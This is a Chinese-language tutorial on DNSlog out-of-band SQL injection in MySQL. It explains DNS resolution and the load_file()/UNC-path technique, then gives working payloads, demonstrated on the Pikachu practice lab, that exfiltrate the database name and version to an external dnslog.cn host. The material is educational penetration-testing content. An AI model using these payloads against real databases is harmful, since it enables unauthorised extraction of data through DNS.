DNSlog注入(mysql数据库sql注入姿势)
简介:本文记录sql注入中的注入姿势DNSlog注入原理及其构造payload过程
前言
DNSLOG注入不是一种新的sql注入方式,而是一种注入姿势。方便为我们进行sql注入提供方法
提示:以下是本篇文章正文内容,下面案例可供参考
一、什么是DNS(域名系统)?
DNS(Domain name system)域名系统,它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。为了方便人们记忆目标网站地址,人们只需通过访问域名来访问目标网站,通过DNS将域名映射的ip地址进行访问目标服务器。
DNS域名解析过程如下:
下面来详细解释DNS域名解析的过程:
DNS客户端就是我们平常使用的电脑,打开浏览器,输入一个域名。比如输入www.163.com,这时浏览器会查看其缓存是否有对应的域名映射,有就直接解析,否则就交由DNS客户端(主机)进行查询。DNS客户端检查本地缓存是否存在目标映射关系,存在就直接解析,否则就将发送DNS请求到本地DNS服务器。本地DNS服务器一般都是你的网络接入服务器商提供,比如中国电信,中国移动等
查询www.163.com的DNS请求到达本地DNS服务器之后,本地DNS服务器会首先查询它的缓存记录,如果缓存中有此条记录,就可以直接返回结果。如果没有,本地DNS服务器还要向DNS根服务器进行查询。
根DNS服务器没有记录具体的域名和IP地址的对应关系,而是记录顶级域名服务器的ip地址。收到根域名服务器的DNS请求,检查顶级域名为.com,将.com顶级域名地址发送到本地DNS服务器。告诉本地服务器到顶级域名服务器上去查询
本地DNS服务器继续向顶级域名服务器发出请求,在这个例子中,请求的对象是.com域服务器。.com域服务器收到请求之后,也不会直接返回域名和IP地址的对应关系,而是告诉本地DNS服务器其子域名(163.com)服务器的地址。
最后,本地DNS服务器向子域名服务器(163.com)发出请求,本地DNS服务器就能收到一个域名和IP地址对应关系,本地DNS服务器不仅要把IP地址返回给用户电脑,还要把这个对应关系保存在缓存中,以备下次别的用户查询时,可以直接返回结果,加快网络访问。
二、DNSlog注入
注入场景
适用于那些sql注入无回显的场景。可以使用盲注,但盲注花费时间过长且繁琐,效率低对一些拥有waf的网站存在被禁止ip的风险高
注入具备条件
1.数据库配置使得load_file()函数发送请求
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。在数据库中输入show variables like ‘%secure%’ 查看secure_file_priv属性
如Mysql中的secure_file_priv属性,将其设置为空,则可以导入导出文件。
通过设置my.ini文件。若my.ini中没有直接添加即可
什么是UNC路径?
UNC为网络(主要指局域网)上资源的完整Windows 名称。
格式:\\servername\harename,其中servername是服务器名。sharename是共享资源的名称。
目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename
2.拥有DNS服务器接收并记录从数据库发送过来的请求(DNS解析请求)
这里采用在线DNS服务器网站
http://www.dnslog.cn/
1.注入原理
就是拼接语句,借助开发数据库可能配置了函数load_file(),通过函数发送请求,将sql语句查询的结果带出来给我们自己设置的DNS服务器解析,通过日志记录可以看到sql语句查询信息
2.注入过程
在数据库(pikachu)进行测试load_file()函数,带着数据库名发送DNS解析请求给DNS服务器。
1.测试load_file()函数
截图如下(示例):
DNS服务器返回解析日志记录,域名为pikachu.x
h198t.dnslog.cn,。则此时的数据库名称为pikachu
我们来看下load_file()函数的sql语句:
select load_file(concat('\\\\',(select database()),'.xh198t.dnslog.cn\\adc'))
使用UNC路径\servername\harename
语句中输入的’ \\\\ ’ 由于会对’ \ ‘进行转义,’ \\\\ ‘转义后得到’ \\ '。中间的拼接sql查询语句,后面紧跟得到的域名及共享文件。使用concat()函数将三者拼接。
2.测试SQL盲注
构造如下payload:
kobe’ union select load_file(concat(’\\’,(select version()),’.x55aze.dnslog.cn\adc’))#
提交后在DNS服务器上得到版本号为5.6.17
总结
本文记录了DNSlog注入姿势适合于在SQL盲注的场景,并且通过了解DNSlog注入的原理及其使用load_file()函数实现在DNS服务器上显示在SQL语句中查询的信息。